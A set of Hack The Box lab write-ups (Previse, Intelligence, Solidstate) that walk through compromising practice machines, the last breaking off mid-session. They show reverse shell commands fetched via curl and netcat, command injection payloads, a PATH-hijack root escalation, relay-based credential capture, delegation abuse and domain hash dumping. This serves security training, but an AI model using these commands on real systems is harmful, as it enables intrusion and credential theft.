HTB-Previse

HTB-Previse

Portscan

# nmap -v -Pn -sSVC -p- -oA nmap/previse 10.10.11.104

Nmap scan report for 10.10.11.104
Host is up (0.037s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploring the Web App

Our initial portscan reveals only two open ports (SSH running on port 22 and the Apache web server on port 80). After editing our /etc/hosts file so that we can resolve previse.htb to 10.10.11.104 we navigate to the page and see what appears to be a login portal to a file storage app:

Enumeration with Gobuster

Taking note of the .php file extension we start enumerating further with gobuster to uncover any additional files or folders on the site.

$ gobuster dir -x php -w /opt/SecLists/Discovery/Web-Content/raft-large-files.txt -u http://previse.htb/ -b 404,403
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previse.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-files.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2022/01/01 11:45:44 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/login.php            (Status: 200) [Size: 2224]                
/download.php         (Status: 302) [Size: 0] [--> login.php]   
/config.php           (Status: 200) [Size: 0]                   
/footer.php           (Status: 200) [Size: 217]                 
/header.php           (Status: 200) [Size: 980]                 
/favicon.ico          (Status: 200) [Size: 15406]               
/logout.php           (Status: 302) [Size: 0] [--> login.php]   
/.                    (Status: 302) [Size: 2801] [--> login.php]
/status.php           (Status: 302) [Size: 2966] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]                
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/files.php            (Status: 302) [Size: 4914] [--> login.php]

Reviewing the results we see a bunch of other pages that are mostly giving us a 302 re-direct to the login.php page. Manually checking the ones that give us a 200 result we find the http://previse.htb/nav.php page rather interesting:

Exploiting An Improper Redirect in the PHP Web App

This navigation page doesn’t appear like something we would expect to see prior to being logged into the site. Hovering over the links we find two other pages that weren’t found in our gobuster above: http://previse.htb/accounts.php and http://previse.htb/file_logs.php . Clicking on the links just re-directs us back to the login page; however, taking a look at the request and response in Burp we see something interesting when navigating to the accounts.php page:

We are getting the 302 re-direct but it’s still giving us the contents of the accounts.php page! We scroll through and see a note about how this page should only be viewable by admins.

We can leverage Burp suite to intercept and edit the response from accounts.php page.

After confirming Intercept is on, we navigate to the page again and see that our GET request has been intercepted. We right click on select Do intercept –> Response to this request and then hit the “Forward” button to send this on to the web server.

We get the response and see the 302 re-direct:

We can now change this 302 to a 200 before hitting the Forward button again:

Switching back to our browser we see that we are at the account creation page!

Creating an Account & Logging into the App

We proceed to create an account for ourselves named ‘hacker’ with a password of ‘Password1’

We can then turn off Intercept in Burp suite and proceed to login with our newly created account:

We navigate through the web application and notice that under the Files menu there appears to be a site backup .zip file that we can download:

Source Code Review & Command Injection

After extracting the files from the .zip we start exploring the source code of the site and quickly uncover database credentials in the config.php file.

$ unzip siteBackup.zip 
Archive:  siteBackup.zip
  inflating: accounts.php            
  inflating: config.php              
  inflating: download.php            
  inflating: file_logs.php           
  inflating: files.php               
  inflating: footer.php              
  inflating: header.php              
  inflating: index.php               
  inflating: login.php               
  inflating: logout.php              
  inflating: logs.php                
  inflating: nav.php                 
  inflating: status.php              
$ cat config.php 
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Further source code review leads us to finding an interesting comment in logs.php and what appears to be a command injection vulnerability:

Whatever we put in the POST parameter ‘delim’ will get passed as an argument to the log_process.py script. We can leverage Burp suite to intercept and modify the request and try adding a semi-colon to see if we can get code execution.

First, we ensure that Intercept is enabled in Burp suite and then navigate to “LOG DATA” from the MANAGEMENT MENU and then click the SUBMIT button:

We see the intercepted request in Burp and confirm it is making a POST request to logs.php

After we setup a netcat listener on our box we edit the POST request and append ;nc 10.10.14.21 8000

We hit the Forward button in Burp and quickly get a connection on our box! This indicates the command injection was successful. Now that we’ve confirmed it works we can try to get a full reverse shell.

We create a simple reverse shell payload in a script called rev.sh and then use Python’s simple HTTPServer to host it.

$ cat rev.sh 
/bin/bash -i >& /dev/tcp/10.10.14.21/8000 0>&1

With our Python SimpleHTTPServer hosting the script on port 80 and netcat listening for the reverse shell on port 8000, we are ready to leverage Burp suite to edit another request and get code execution.

We add ;curl http://10.10.14.21/rev.sh | bash after the delim parameter to instruct the server to download our reverse shell script and pipe it to bash for execution.

Selecting everything after the delim= and pressing Ctl + U performs URL encoding of key characters:

We press the Forward button in Burp and get our reverse shell running as the www-data account:

Looting the Database

Now that we have a shell on the box we can try using the database credentials we found earlier in config.php to loot the database [ user: root password: mySQL_p@ssw0rd!:) ].

The credentials work and we see what databases are available. Switching to the ‘previse’ database we enumerate the tables and dump everything in the accounts table:

We see the hashed password for an account named ‘m4lwhere’ as well as the ‘hacker’ account we created earlier. We exit out of the database and check the /etc/passwd file to see if there is a user on the box with the same username:

www-data@previse:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

Password Cracking with Hashcat

We save m4lwhere’s password hash to a file named hash.txt and run hashcat to crack the password:

$ hashcat -m 500 -a 0 hash.txt /opt/wordlists/rockyou.txt --force --show
$1$đŸ§‚llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

Logging in as m4lwhere

Now that we have the password for the m4lwhere account on the Web App we can try SSH’ing into the box to see if the user re-used the same password. It works and we get logged in as m4lwhere!

Privilege Escalation

Before even running any of the standard privilege escalation / enumeration scripts like linPEAS, I like to run sudo -l to see if the user can run anything interesting. Sure enough, there appears to be a custom script the user m4lwhere can run as root: /opt/scripts/access_backup.sh

If we can exploit this script somehow we may be able to get code execution as root. First, we check the permissions on the script as well as the content:

We don’t have permission to modify the script so we can’t simply add commands to it to get code execution as root. We do notice; however, that the full path to the gzip binary is not specified. If the sudo configuration is such that it doesn’t reset our environment variables (ie. the env_reset option) we could modify our PATH environment variable and create a trojan version of the gzip binary that would get executed instead of the real gzip.

We proceed to create a script named ‘gzip’ that will copy the bash executable and make it SETUID

After granting everyone rwx permissions to our trojaned gzip script we modify our PATH environment variable to first check in the current working directory. We then execute the access_backup.sh script with sudo and it works! We get a copy of bash in our home directory that has the setuid permissions!

We now execute this copy of bash with the -p option and get a root shell!

We now own the box and can print out the flags:

References & Useful Links

ippsec – HackTheBox – Breadcrumbs – (See section on 302 redirect)

Safely handling redirects with die() and exit() in PHP

HTB-Intelligence

HTB-Intelligence

Portscan

The initial portscan of this box reveals a number of open ports that suggest we are up against an Active Directory domain controller with a domain name of intelligence.htb.

# nmap -v -sSV -p- -oN nmap/intelligence.nmap 10.10.10.248

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-11-26 04:48:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0....)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
61221/tcp open  msrpc         Microsoft Windows RPC

Exploring the Web Server

We decide to explore the web server first and after editing our /etc/hosts file we navigate to http://intelligence.htb and are greeted with the following page:

Scrolling through the site we see a couple of links on the home page to PDF files stored in a /documents subfolder and take note of the naming convention of these files: YYYY-MM-DD-upload.pdf

We quickly check to see if directory listings are enabled by navigating to http://intelligence.htb/documents/ but immediately get a 403 Forbidden error.

Before attempting to bruteforce other valid document names in this directory, we run gobuster to see if there are any other interesting directories on the web server.

$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://intelligence.htb/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://intelligence.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/26 10:04:03 Starting gobuster in directory enumeration mode
===============================================================
/documents            (Status: 301) [Size: 157] [--> http://intelligence.htb/documents/]

Bruteforcing File Names

Since gobuster didn’t return any other interesting results, we turn back to exploring the documents directory. We want to try brute forcing file names by following the YYYY-MM-DD-upload.pdf format we noticed in the two documents linked from the home page. We can leverage PowerShell on linux to generate a wordlist:

#!/usr/bin/pwsh -Command

$startDate = (Get-Date -Year 2020 -Month 1 -Day 1)
$Today = (Get-Date)


while ($startDate -lt $Today)
{
        $fileName = ($startdate.ToString("yyyy-MM-dd") + "-upload.pdf")
        Write-Output $fileName >> fileList.txt
        $startDate = $startDate.AddDays(1)
}

After running this script we have a list of possible PDF file names in fileList.txt. We can then write a simple bash script to attempt to download each of the files to see if we get anything:

$./downloadFiles.sh
[+] Downloaded http://intelligence.htb/documents/2020-01-01-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-02-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-04-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-10-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-20-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-22-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-23-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-25-upload.pdf
...snip

Gathering Intelligence

We now have a directory full of PDF documents! Opening a few of the PDFs we see most of them contain text in Latin; however,we do find one with some interesting information: 2020-12-30-upload.pdf

Instead of manually opening up all the remaining PDF documents, we can install pdfgrep and start searching for interesting strings. After searching for the word ‘password’ in the documents we find another useful PDF: 2020-06-04-upload.pdf

We appear to have found a New Account guide which lists a default password!

Examining Metadata

Now that we have a password to use for password spraying we just need a list of valid user accounts. Since we have all of these PDF files we can check the metadata to see if we can find any names or information to build a list of users to try. Running pdfinfo on one of the documents we find the Creator field has a name in FIrstname.Lastname format.

We put together a quick one-liner to run pdfinfo against all the PDF files and extract the Creator field and then remove the duplicates to get a list of unique usernames:

$ for i in $(ls *.pdf); do pdfinfo $i | grep "^Creator"| cut -d ' ' -f 9 >> creators.txt; done
$ cat creators.txt | sort -u > users.txt

Validating Users & Password Spraying

We then run kerbrute using this user list to validate if these are valid Active Directory accounts:

After confirming these are valid accounts we proceed to password spraying using the default password previously discovered. We find an account (Tiffany.Molina@intelligence.htb) that still has this default password!

We take note of the clock skew error and update our time to match that of the target box:

# ntpdate -u intelligence.htb

Note: If you run into issues with getting ntpdate to sync due to the fact the clock skew is too great you may need to first set the date as close to the same time as you can manually using date -s “[DATE_STRING]” and then call ntpdate again to fine tune.

You can connect to port 5985 (WinRM) and use the timestamp from the header when manually setting the time:

# curl intelligence.htb:5985 -v
*   Trying 10.10.10.248:5985...
* TCP_NODELAY set
* Connected to intelligence.htb (10.10.10.248) port 5985 (#0)
> GET / HTTP/1.1
> Host: intelligence.htb:5985
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Type: text/html; charset=us-ascii
< Server: Microsoft-HTTPAPI/2.0
< Date: Sat, 27 Nov 2021 04:44:11 GMT

# date -s "Sat 27 Nov 2021 04:44:11 GMT"

Also, it may be necessary to stop the virtualbox-guest-utils service on your machine if running to prevent the changes from quickly getting reverted. Once the clocks are synced up we shouldn’t have further issues with Kerberos authentication.

Enumerating File Shares

Now that we have valid credentials we can try to enumerate SMB file shares using crackmapexec

It appears we have READ access to at least two non-standard shares: Users and IT. We begin by looking at the Users share.

$ smbclient -U Tiffany.Molina //intelligence.htb/Users
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Apr 18 20:20:26 2021
  ..                                 DR        0  Sun Apr 18 20:20:26 2021
  Administrator                       D        0  Sun Apr 18 19:18:39 2021
  All Users                       DHSrn        0  Sat Sep 15 02:21:46 2018
  Default                           DHR        0  Sun Apr 18 21:17:40 2021
  Default User                    DHSrn        0  Sat Sep 15 02:21:46 2018
  desktop.ini                       AHS      174  Sat Sep 15 02:11:27 2018
  Public                             DR        0  Sun Apr 18 19:18:39 2021
  Ted.Graves                          D        0  Sun Apr 18 20:20:26 2021
  Tiffany.Molina                      D        0  Sun Apr 18 19:51:46 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \> 

We explore around and find the user.txt flag for Tiffany Molina

smb: \> cd Tiffany.Molina\Desktop\
smb: \Tiffany.Molina\Desktop\> dir
  .                                  DR        0  Sun Apr 18 19:51:46 2021
  ..                                 DR        0  Sun Apr 18 19:51:46 2021
  user.txt                           AR       34  Fri Nov 26 19:24:25 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \Tiffany.Molina\Desktop\> get user.txt 
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Next, we checkout the IT share and find an interesting PowerShell script named downdetector.ps1

$ smbclient -U Tiffany.Molina //intelligence.htb/IT
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 18 19:50:55 2021
  ..                                  D        0  Sun Apr 18 19:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 19:50:55 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \> get downdetector.ps1 
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (8.0 KiloBytes/sec) (average 8.0 KiloBytes/sec)
smb: \>

We examine the contents of the script:

$ cat downdetector.ps1 
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}

This must be the script that was mentioned in the PDF we found earlier. If we are able to create a DNS record with “web” in the name we could point it at our machine and capture the credentials of the account running the script.

Capturing Ted’s Credentials

We start up responder:

# responder -v -I tun0

We then use dnstool.py to create a record for webpwnage2.intelligence.htb

$ python3 ./dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r 'webpwnage2.intelligence.htb' -d '10.10.14.21' --action add 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
./dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
  res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully

Within a few minutes we capture the hash for user Ted.Graves in Responder:

We save the hash to a file named hash.txt and proceed to crack it with hashcat:

$ hashcat -m 5600 ./hash.txt /opt/wordlists/rockyou.txt --force
$ hashcat -m 5600 ./hash.txt --show
TED.GRAVES::intelligence:97bd4e9ff646c9d9:9f95d5384400eb007ca4aa3a690962b0:0101000000000000748f29a656e3d701140e05047920b16f000000000200060053004d0042000100160053004d0042002d0054004f004f004c004b00490054000400120073006d0062002e006c006f00630061006c000300280073006500720076006500720032003000300033002e0073006d0062002e006c006f00630061006c000500120073006d0062002e006c006f00630061006c00080030003000000000000000000000000020000059c4350a48d17f20c5a7efe80f8dab0838fd1a6804b331c108b5f89ff2e4640f0a001000000000000000000000000000000000000900400048005400540050002f00770065006200700077006e0061006700650032002e0069006e00740065006c006c006900670065006e00630065002e006800740062000000000000000000:Mr.Teddy

We try the cracked password with evil-winrm but are unable to get a shell.

AD Enumeration with Bloodhound

Next, we try running bloodhound-python to enumerate Active Directory further and attempt to identify an attack path.

$ bloodhound-python -c All -u Ted.Graves -p "Mr.Teddy" -d intelligence.htb -dc intelligence.htb --zip
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
INFO: Connecting to LDAP server: intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: intelligence.htb
INFO: Found 42 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
INFO: Skipping enumeration for svc_int.intelligence.htb since it could not be resolved.
INFO: Done in 00M 05S
INFO: Compressing output into 20211126235834_bloodhound.zip

After loading the .zip file into Bloodhound for analysis and marking the owned principals (the Ted.Graves & Tiffany.Molina accounts), we run the Bloodhound query for “Shortest Paths to Domain Admins from Owned Principals” and see the following:

The Ted.Graves account is a member of the security group ITSUPPORT which has the capabilities to read the Group Managed Service Account password for SVC_INT.

The SVC_INT service account in turn has constrained delegation privileges to the domain controller (dc.intelligence.htb). We can exploit this chain to ultimately achieve domain admin rights.

Exploiting the ReadGMSAPassword Rights & Constrained Delegation

We start the exploit chain by using a tool called gMSADumper to get the hash of the SVC_INT service account.

$ gMSADumper -u TED.GRAVES -p Mr.Teddy -d intelligence.htb -l 10.10.10.248
svc_int$:::b98d4cef68f72a98dfeed732d1b1abca

Next, we use the impacket getST.py to request a service ticket on behalf of the domain Administrator

$ python3 /opt/impacket/examples/getST.py -spn www/dc.intelligence.htb -impersonate Administrator -hashes :b98d4cef68f72a98dfeed732d1b1abca -dc-ip 10.10.10.248 'intelligence.htb/svc_int$'
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Now that we have a ticket for the Administrator we can run secretsdump.py to loot the domain and collect all the hashes!

$ export KRB5CCNAME=Administrator.ccache                                                                                                                                                                   
$ python3 /opt/impacket/examples/secretsdump.py -k -no-pass dc.intelligence.htb                                                                                                                            
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation                                                                                                                                                   
                                                                                                                                                                                                           
[*] Service RemoteRegistry is in stopped state                                                                                                                                                             
[*] Starting service RemoteRegistry                                                                                                                                                                        
[*] Target system bootKey: 0xcae14f646af6326ace0e1f5b8b4146df                                                                                                                                              
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)                                                                                                                                                       
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0054cc2f7ff3b56d9e47eb39c89b521f:::                                                                                                                     
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                             
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                    
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.                                                                                                   
[*] Dumping cached domain logon information (domain/username:hash)                                                                                                                                         
[*] Dumping LSA Secrets                                                                                                                                                                                    
[*] $MACHINE.ACC
...SNIP
[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                                                                                                       
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3:::                                                                                                                     
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                                                             
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9ce5f83a494226352bca637e8c1d6cb6:::                                                                                                                            
intelligence.htb\Danny.Matthews:1103:aad3b435b51404eeaad3b435b51404ee:9112464222be8b09d663916274dd6b61:::                                                                                                  
intelligence.htb\Jose.Williams:1104:aad3b435b51404eeaad3b435b51404ee:9e3dbd7d331c158da69905a1d0c15244:::                                                                                                   
intelligence.htb\Jason.Wright:1105:aad3b435b51404eeaad3b435b51404ee:01295a54d60d3d2498aa12d5bbdea996:::                                                                                                    
intelligence.htb\Samuel.Richardson:1106:aad3b435b51404eeaad3b435b51404ee:fa7c1a2537f2094bd10e3eddc8e04612:::                                                                                               
intelligence.htb\David.Mcbride:1107:aad3b435b51404eeaad3b435b51404ee:f7aacab8c61105a5d5f99382ace61ddf:::                                                                            

Getting a Shell as Domain Admin

Finally, we can leverage Metasploit ‘s psexec module and the dumped Administrator’s hash to get a shell on the box as domain admin:

We can now capture the root flag!

HTB-Solidstate

HTB – Solidstate (10.10.10.51)

Portscan

After completing a full port scan and finding 6 open ports. We initiate another nmap scan on these open ports to grab service & version info and to run nmap’s default scripts:

nmap -sSVC -p 22,25,80,110,119,4555 -oA solidstate 10.10.10.51

PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 | ssh-hostkey: 
 |   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
 |   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
 |_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
 25/tcp   open  smtp        JAMES smtpd 2.3.2
 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.4 [10.10.14.4]), 
 80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
 |_http-server-header: Apache/2.4.25 (Debian)
 |_http-title: Home - Solid State Security
 110/tcp  open  pop3        JAMES pop3d 2.3.2
 119/tcp  open  nntp        JAMES nntpd (posting ok)
 4555/tcp open  james-admin JAMES Remote Admin 2.3.2

The version information for ports 25 (SMTP), 110 (POP3), 119 (NNTP), and 4555 show this machine is running Apache JAMES (Java Apache Mail Enterprise Server). This will certainly warrant further exploration and research. However, since port 80 is open let’s first start by exploring the web page. We are greeted with a page for a security company named ‘Solid State Security’.

We try some of the usual checks like looking for /robots.txt, adding solidstate.htb to our /etc/hosts file and checking for virtual hosts but don’t find anything. We move on to running nikto and gobuster but the results are not particularly interesting.

root@kali:~# nikto -h 10.10.10.51
 - Nikto v2.1.6
 Target IP:          10.10.10.51
 Target Hostname:    10.10.10.51
 Target Port:        80 
...
 Server: Apache/2.4.25 (Debian)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Server may leak inodes via ETags, header found with file /, inode: 1e60, size: 5610a1e7a4c9b, mtime: gzip
 Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
 OSVDB-3268: /images/: Directory indexing found.
 OSVDB-3092: /LICENSE.txt: License file found may identify site software.
 OSVDB-3233: /icons/README: Apache default file found.
 7863 requests: 0 error(s) and 9 item(s) reported on remote host 
root@kali:~# gobuster dir -x txt,html,php,bak -u http://10.10.10.51 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
...
 /index.html (Status: 200)
 /images (Status: 301)
 /about.html (Status: 200)
 /services.html (Status: 200)
 /assets (Status: 301)
 /README.txt (Status: 200)
 /LICENSE.txt (Status: 200)
 /server-status (Status: 403)

We now turn our attention back to Apache JAMES and run searchsploit to see if there are exploits for any vulnerabilities in the 2.3.2 version.

We see there is a Remote Command Execution vulnerability for Apache James version 2.3.2 ! We examine the python script and review the payload section which by default is only going to print the effective ID and attempt to create a file. We will want to edit this to something that will give us a shell.

In reading through the exploit as well as the Apache James documentation , we see that the default credentials for the remote administrative service on TCP port 4555 is user: root and password: root. If these defaults have been changed we would first need to find valid credentials. We swap out the payload line and replace with a command to give us a reverse shell on port 9999. We then setup a netcat listener on port 9999 and fire the exploit.

payload = 'bash -i >& /dev/tcp/10.10.14.5/9999 0>&1'

The exploit appears to run successfully so the default credentials on the remote administration interface must have worked. Unfortunately, we still do not have a shell as the payload will only be triggered when a user logs in. We will have to find valid credentials for a user on the box. Since we’ve already explored the web page and haven’t found anything useful, we will now turn our attention to the Apache James remote administration interface. We should be able to login to the admin interface on port 4555 with the default credentials.

We use telnet to login to the admin interface and then run the help command to see what we can do.

help 
 Currently implemented commands:
 help                                    display this help
 listusers                               display existing accounts
 countusers                              display the number of existing accounts
 adduser [username] [password]           add a new user
 verify [username]                       verify if specified user exist
 deluser [username]                      delete existing user
 setpassword [username] [password]       sets a user's password
 setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
 showalias [username]                    shows a user's current email alias
 unsetalias [user]                       unsets an alias for 'user'
 setforwarding [username] [emailaddress] forwards a user's email to another email address
 showforwarding [username]               shows a user's current email forwarding
 unsetforwarding [username]              removes a forward
 user [repositoryname]                   change to another user repository
 shutdown                                kills the current JVM (convenient when James is run as a daemon)
 quit                                    close connection

We see that we can list users as well as change their passwords! If we can reset their passwords we could connect via POP3 and read any emails they may have. This is certainly worth exploring as we may be able to find some sensitive information in their emails.

listusers
 Existing accounts 6
 user: james
 user: ../../../../../../../../etc/bash_completion.d
 user: thomas
 user: john
 user: mindy
 user: mailadmin

We see 6 accounts including the one that was created by our exploit script. We will proceed to use the setpassword command to reset the password on the user’s accounts and then try to login as them.

setpassword james Passw0rd 
Password for james reset
setpassword thomas Passw0rd
Password for thomas reset
setpassword john Passw0rd
Password for john reset
setpassword mindy Passw0rd
Password for mindy reset
setpassword mailadmin Passw0rd
Password for mailadmin reset

Now we will telnet to port 110 (POP3) and try to login and retrieve any mail in these accounts. For more information on using telnet with POP3 see this. As we go through the accounts one by one we find the first interesting tidbit in john’s emails.

root@kali:~# telnet 10.10.10.51 110
 Trying 10.10.10.51…
 Connected to 10.10.10.51.
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
 USER john
